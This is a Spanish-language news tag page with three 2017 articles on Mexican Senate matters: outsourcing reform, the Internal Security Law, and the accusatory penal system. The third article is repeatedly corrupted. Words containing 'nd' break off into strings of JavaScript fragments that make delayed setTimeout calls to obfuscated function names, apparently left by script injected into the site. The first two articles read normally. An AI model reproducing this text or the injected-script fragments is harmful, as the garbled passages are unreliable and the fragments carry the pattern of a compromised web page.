Etiquetas: Senadores


Duro golpe al trabajador, iniciativa de quitar candados al “outsourcing”: expertos

14 diciembre, 2017

México. Senadores priistas, de la CTM y la CROC, presentaron una iniciativa para reforma a la Ley Federal del Trabajo. Ahí proponen quitarle todos los candados a la subcontratación; es decir, abre la puerta de par en par al outsourcing o subcontratación, con el mínimo de prestación laboral.

Se trata de cambios al Artículo 15 A de la actual Ley y es, por completo, una iniciativa priista. De aprobarse tal cual fue presentada, dejaría como única obligación de una empresa con sus trabajadores, registrarlo ante el Instituto Mexicano del Seguro Social (IMSS) y darle constancia de inscripción al Registro Federal de Contribuyentes (RFC).

De acuerdo con especialistas en materia laboral, en teoría la subcontratación no tendría que ser un problema si, a la par, el Estado establece políticas para que los derechos laborales no se vean vulnerados. En el caso de México, de aprobarse así esta Ley, podría significar un duro golpe a la clase trabajadora, ya que no se contempla lo que se hará con las pensiones o con el acceso a los servicios de salud.

De acuerdo con expertos en materia laboral, si la Ley pasa como está podría tener efectos en términos de desigualdad y bienestar en los mexicanos, ya que si el Gobierno federal busca avanzar hacia la flexibilización laboral, debería proponer a la par políticas para dar a los trabajadores contratados por outsourcing, acceso a la salud, una pensión, seguro de desempleo, indemnización, etcétera. O sea, todas las prestaciones.

Actualmente, la Ley establece ciertos topes a la contratación vía outsourcing. Por ejemplo, está prohibido que todo el personal de una empresa completa esté contratado bajo ese esquema, no se puede contratar de esa manera a alguien que realice el mismo trabajo que alguien contratado directamente, no se permite si la empresa se deslinda de sus obligaciones patronales o si busca transferir a sus trabajadores para tener menores derechos laborales.

El principal generador de empleo en el país es la informalidad, cuya tasa es de 56.6 por ciento y se ha mantenido en esos niveles desde el 2009.

Con la iniciativa, sería ahora la empresa que contrata, la que informaría regularmente a la empresa sobre los cumplimientos de sus obligaciones laborales y pasaría a ser la nueva figura patronal.

“Las empresas contratistas se entienden patrones respecto de sus trabajadores aun cuando éstos desempeñen labores a favor de un tercero y deberán cumplir con la responsabilidad que de esto se derive”, se puede leer en el documento presentado.

La contratista deberá informar de manera periódica a la contratante respecto del cumplimiento de todas las obligaciones de carácter laboral, de seguridad social, salud y medio ambiente. Para este efecto los contratantes deberán pactar la forma en la que se dará cumplimiento a esta obligación debiendo contar por escrito en el contrato de servicios.

Otros efectos que se han encontrado son mayores trámites para el emplazamiento a huelga y cambios en las garantías vigentes en materia de aviso de despido por escrito y en el procedimiento.

Fuente: AlMomentoMx


Exhorta estudiante de UV a senadores a no aprobar Ley de Seguridad Interior

13 diciembre, 2017

Arturo Arellano. Xalapa. La Ley de Seguridad Interior, actualmente en discusión en comisiones del Poder Legislativo, generará la militarización del país, alertó el estudiante de la Facultad de Derecho de la Universidad Veracruzana, Alejandro Hernández Romero.

Por lo anterior, exhortó a los senadores a no aprobar dicha iniciativa, la cual está a un paso de discutirse y ser sometida a votación en la Cámara Alta.

Dicha petición, añadió, la presentó al senador Héctor Yunes Landa, dado su papel de representante de Veracruz ante la Federación.

“Tenemos ausencia de la Procuraduría General de la República, tenemos ausencia de la Fiscalía Especializada en Delitos Electorales y sigue vacante la Fiscalía Anticorrupción; todo lo tenemos vacante y pareciera que todo está a modo para que se realice un fraude y eso no lo podemos permitir”.

Y es que dejó la opción de que sea la Suprema Corte de Justicia de la Nación (SCJN) la que pueda declarar lo inconstitucional de dicha iniciativa, dado que los legisladores son “de a mentiritas”.

“Hacen leyes a modo y reforman que dices: ‘no pasaron por la escuela'”, criticó y refirió en enfatizar en la iniciativa de juicio al Presidente.

“Aparte de las lagunas de esta ley, el Ejército tiene la facultad de reprimir manifestaciones”, sostuvo.


Nuevo sistema de justicia no aumentó la inseguridad, coinciden SCJN y senadores

11 agosto, 2017

 

México. El Sistema Penal Acusatorio no es responsable del aumento de la inseguridad y la liberación de delincuentes, existen otras causas como la falta de capacitación del personal de investigación, coincidieron en señalar los presidentes de la Suprema Corte de Justicia de la Nación (SCJN), Luis María Aguilar Morales; de la Junta de Coordinación Política, Fernandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o Herrera Ávila y del Instituto Belisario Domínguez, Miguel Barbosa Huera, al inaugurar el Congreso Nacional La Justicia que México Necesita: Mitos y realidades del Nuevo Sistema Acusatorio.

El senador Herrera Ávila, reconoció que el Poder Legislativo tiene la obligación de perfeccionar, unificar y homologar los instrumentos legislativos para que en materia de justicia se alcancen mayores estadios de convivencia y civilización.

“La aplicación del nuevo sistema muestra que se debe trabajar para mejorar sensiblemente la prevención, investigación, y sanción del delito dentro del marco de una justicia pronta, proporcional, transparente y respetuosa de los derechos humanos”, subrayó.

Al rechazar las críticas y afirmaciones de que el Sistema Penal Acusatorio contiene debilidades, el senador por el PAN se pronunció por la creación de una nueva cultura que conciba la acción punitiva del Estado, y se deje atrás al sistema inquisitivo.

En su mensaje, el ministro Luis María Aguilar Morales apuntó que el Sistema Acusatorio no trata sobre prisiones o libertades, sino de protección de derechos fundamentales; refirió que es necesario un diagnóstico para identificar áreas de oportunidades en la consolidación de las instituciones, que garanticen el reparo del daño a la víctima y se castigue sólo al que se hallado culpable en el proceso, bajo el principio de la presunción de inocencia.

“No es tarea ni responsabilidad del Poder Judicial de la Federación mejorar las condiciones de seguridad del país; nosotros cumplimos juzgandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o frente a la sociedad, conforme a los derechos reconocidos por la Constitución”, enfatizó.

Explicó que el Sistema Penal Acusatorio se constituye como un tema estratégico para el Poder Judicial y del Consejo de la Judicatura Federal, por lo que se han realizado las tareas pertinentes para su debida aplicación, encontrándose en 39 centros de justicia penal federal en el país, incluso en las Islas Marías, un total de 52 salas de audiencia, así como 220 jueces especializados en esta materia.

En 41 por ciento de los centros, las audiencias se resuelven en un promedio de una hora; y abundó que en la implementación, por lo que la justicia federal ha cumplido cabalmente con la parte que le toca en la consolidación del nuevo sistema.

El representante en México del Alto Comisionado de las Naciones Unidas para los Derechos Humanos, Jan Jařab, dijo que se ha constatado un claro vínculo entre la puesta en marcha del nuevo sistema con la mejora del Estado de Derecho, a través de la Encuesta de Personas Privadas de la Libertad, del Instituto Nacional de Estadística y Geografía (Inegi), en la que se señala que sólo 13 por ciento de los detenidos son por orden de aprehensión, de los cuales más de la mitad sufrieron agresiones y tortura.

Calificó de preocupante la atmósfera del populismo penal que lleva a políticos a criticar públicamente al nuevo sistema y a los jueces por liberar a delincuentes, cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o en la mayoría de los casos esto se debe al mal funcionamiento de investigadores que registran deficiencias técnicas, además de que no pueden contar siempre con la cooperación espontánea de los ciudadanos por la falta de confianza.

Bajo estos hechos, consideró que sería un paso en la dirección equivocada realizar contrarreformas, “no queremos que el nuevo sistema penal regrese a lo que caracterizó al sistema anterior, y que se adopten propuestas que permitirían la utilización de pruebas por escrito, en tanto que la pretensión de ampliar la lista de delitos que suponen prisión preventiva oficiosa, esto restringiría la decisión independiente del Poder Judicial y se utilizaría simplemente como un instrumento de castigo.

Al inaugura el Congreso, el presidente del Instituto Belisario Domínguez (IBD), Barbosa Huerta, calificó como un “exceso” el que se califique al Sistema Penal Acusatorio como “la puerta giratoria” que permite la liberación de delincuentes, cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o la prisión preventiva ha estado prevista desde tiempo atrás en el sistema penal.

La prisión preventiva es cautelar, explicó, de manera obligada se impone para el catálogo de delitos graves previstos en el artículo 19 constitucional y en el Código Penal, el juez tiene la capacidad de decidir esta medida, en caso de que conceder la libertad ponga en riesgo al detenido, a terceros o la sociedad.

Sostuvo que es mentira que se pueda otorgar una prisión preventiva oficiosa, es mentira, al tiempo de considerar que en la liberación de delincuentes, se registran casos de corrupción.

En este contexto, concluyó, sería un retroceso aumentar el catálogo de delitos graves, cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o existen casos, como en la portación de armas de uso exclusivo del Ejército a las que tiene acceso cualquier ciudadano, que considera puede servirle de protección, pero en los hechos, no la va a utilizar.

En el congreso se contó también con la participación de la Mara Gómez Pérez, sub contralora del Senado de la República; Mónica González Contró, abogada general de la UNAM; María Elena Morera, presidenta de Ciudadanos por una Causa en Común; Miguel Carbonell, del Instituto de Investigaciones Jurídicas; ministro Jorge Pardo Rebolledo, entre otros destacados especialistas.

El Congreso Nacional la Justicia que México necesita: Mitos y realidades del Nuevo Sistema Acusatorio, continuará hasta este viernes 11 de agosto.

Fuente: AlMomento.Mx